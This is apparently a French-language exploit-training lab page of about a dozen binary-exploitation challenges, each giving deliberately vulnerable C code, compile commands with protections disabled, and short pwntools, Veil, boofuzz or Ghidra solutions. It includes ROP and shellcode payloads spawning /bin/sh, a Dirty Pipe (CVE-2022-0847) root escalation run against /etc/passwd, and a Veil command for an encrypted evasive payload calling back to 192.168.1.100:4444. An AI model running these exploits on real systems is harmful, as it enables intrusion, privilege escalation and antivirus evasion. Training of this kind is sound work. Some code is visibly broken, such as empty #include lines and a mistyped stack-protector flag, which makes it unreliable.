💀 STACKSMASHER – LE BRISEUR DE PILES 💀

Objectif

Faire crasher un binaire avec un buffer overflow simple.

#include 
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln1.c avec le code ci-dessus, puis compilez-le :

echo '#include \nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln1.c
gcc -m32 -fno-stack-protector -no-pie -o vuln1 vuln1.c
chmod +x vuln1
            

Solution

python3 -c 'print("A"*100)' | ./vuln1
            

Analyse

Crash à 80 caractères (64 buffer + 16 EBP).

Validation

Valider

Objectif

Rediriger l’exécution vers win().

#include 
void win() { system("/bin/sh"); }
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln2.c avec le code ci-dessus, puis compilez-le :

echo '#include \nvoid win() { system("/bin/sh"); }\nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln2.c
gcc -m32 -fno-stack-protector -no-pie -o vuln2 vuln2.c
chmod +x vuln2
            

Solution

from pwn import *
elf = ELF('./vuln2')
payload = b"A"*72 + p32(elf.symbols['win'])
process('./vuln2').sendline(payload)
            

Validation

Valider

Objectif

Bypass NX avec ROP pour system("/bin/sh").

#include 
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln3.c avec le code ci-dessus, puis compilez-le avec NX activé :

echo '#include \nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln3.c
gcc -m32 -fno-stack-protector -no-pie -o vuln3 vuln3.c
chmod +x vuln3
            

Vérifiez les protections avec checksec --file=vuln3 (NX devrait être activé par défaut sur les systèmes modernes).

Solution

rop = ROP(elf)
rop.call("system", [next(elf.search(b"/bin/sh"))])
payload = b"A"*72 + rop.chain()
            

Validation

Valider

Objectif

Écraser GOT de printf par system.

#include 
int main() {
    char input[64];
    fgets(input, 64, stdin);
    printf(input);
}
            

Génération du Binaire

Créez un fichier vuln4.c avec le code ci-dessus, puis compilez-le :

echo '#include \nint main() {\n    char input[64];\n    fgets(input, 64, stdin);\n    printf(input);\n}' > vuln4.c
gcc -m32 -fno-stack-protector -no-pie -o vuln4 vuln4.c
chmod +x vuln4
            

Solution

payload = fmtstr_payload(6, {elf.got["printf"]: elf.symbols["system"]})
            

Validation

Valider

Objectif

Exécuter un shellcode personnalisé avec ASLR.

#include 
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln5.c avec le code ci-dessus, puis compilez-le :

echo '#include \nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln5.c
gcc -m32 -fno-stack-protector -no-pie -o vuln5 vuln5.c
chmod +x vuln5
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space  # Active ASLR
            

Solution

context.arch = 'i386'
shellcode = asm(shellcraft.sh())
payload = b"A"*72 + p32(0xffffd100) + shellcode
            

Validation

Valider

Objectif

Exploiter un binaire ARM vulnérable.

#include 
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln_arm.c avec le code ci-dessus, puis compilez-le pour ARM :

echo '#include \nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln_arm.c
arm-linux-gnueabihf-gcc -march=armv7-a -o vuln_arm vuln_arm.c
chmod +x vuln_arm
            

Vérifiez avec file vuln_arm (doit indiquer ELF 32-bit LSB ARM).

Solution

context.arch = 'arm'
rop = ROP(elf)
rop.call("system", [next(elf.search(b"/bin/sh"))])
            

Validation

Valider

Objectif

Lire le canary via format string.

#include 
void win() { system("/bin/sh"); }
void vuln() {
    char buffer[64];
    gets(buffer);
    printf(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln7.c avec le code ci-dessus, puis compilez-le avec Canary activé :

echo '#include \nvoid win() { system("/bin/sh"); }\nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n    printf(buffer);\n}\nint main() { vuln(); }' > vuln7.c
gcc -m32 -fstack-protect -no-pie -o vuln7 vuln7.c
chmod +x vuln7
            

Vérifiez avec checksec --file=vuln7 (Stack Canary doit être activé).

Solution

payload = b"%23$p"  # Leak canary
canary = int(process('./vuln7').recvline(), 16)
payload = b"A"*64 + p32(canary) + b"B"*12 + p32(win)
            

Validation

Valider

Objectif

Escalade root via CVE-2022-0847.

uname -a  # Linux 5.8+
            

Génération du Binaire

Utilisez le code de l’exploit Dirty Pipe cloné dans la section Setup :

cd CVE-2022-0847-DirtyPipe-Exploits
gcc -o exploit dirtypipe.c
chmod +x exploit
            

Solution

./exploit /etc/passwd
            

Validation

Valider

Objectif

Trouver un crash avec boofuzz.

#include 
#include 
#include 
#include 
#include 
int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server = {0};
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(9999);
    bind(sock, (struct sockaddr*)&server, sizeof(server));
    listen(sock, 5);
    int client = accept(sock, NULL, NULL);
    char buffer[1024];
    recv(client, buffer, 1024, 0);
    if (strncmp(buffer, "TRUN ", 5) == 0) {
        char data[100];
        strcpy(data, buffer + 5);
        printf("Received: %s\n", data);
    }
    close(client);
    close(sock);
}
            

Génération du Binaire

Créez un fichier vuln9.c avec le code ci-dessus, puis compilez-le :

echo '#include \n#include \n#include \n#include \n#include \nint main() {\n    int sock = socket(AF_INET, SOCK_STREAM, 0);\n    struct sockaddr_in server = {0};\n    server.sin_family = AF_INET;\n    server.sin_addr.s_addr = INADDR_ANY;\n    server.sin_port = htons(9999);\n    bind(sock, (struct sockaddr*)&server, sizeof(server));\n    listen(sock, 5);\n    int client = accept(sock, NULL, NULL);\n    char buffer[1024];\n    recv(client, buffer, 1024, 0);\n    if (strncmp(buffer, "TRUN ", 5) == 0) {\n        char data[100];\n        strcpy(data, buffer + 5);\n        printf("Received: %s\\n", data);\n    }\n    close(client);\n    close(sock);\n}' > vuln9.c
gcc -m32 -fno-stack-protector -no-pie -o vuln9 vuln9.c
chmod +x vuln9
            

Lancez le binaire dans un terminal : ./vuln9.

Solution

from boofuzz import *
session = Session(target=Target(connection=SocketConnection("localhost", 9999)))
s_initialize("TRUN")
s_string("TRUN")
s_delim(" ")
s_string("FUZZ")
session.connect(s_get("TRUN"))
session.fuzz()
            

Validation

Valider

Objectif

Générer un payload furtif.

veil -t Evasion -p python/shellcode_inject/aes_encrypt -o stealth --ip 192.168.1.100 --port 4444
            

Génération

Aucun binaire à compiler, utilisez Veil directement comme indiqué dans la section Setup.

Validation

Valider

Objectif

Analyser un binaire crackme.

#include 
#include 
int main(int argc, char *argv[]) {
    if (argc != 2) return 1;
    if (strcmp(argv[1], "password123") == 0) {
        printf("Success!\n");
        return 0;
    }
    printf("Wrong password.\n");
    return 1;
}
            

Génération du Binaire

Créez un fichier crackme.c avec le code ci-dessus, puis compilez-le :

echo '#include \n#include \nint main(int argc, char *argv[]) {\n    if (argc != 2) return 1;\n    if (strcmp(argv[1], "password123") == 0) {\n        printf("Success!\\n");\n        return 0;\n    }\n    printf("Wrong password.\\n");\n    return 1;\n}' > crackme.c
gcc -m32 -o crackme crackme.c
chmod +x crackme
            

Solution

ghidra_headless ./crackme -import -postScript Analyze.java
            

Validation

Valider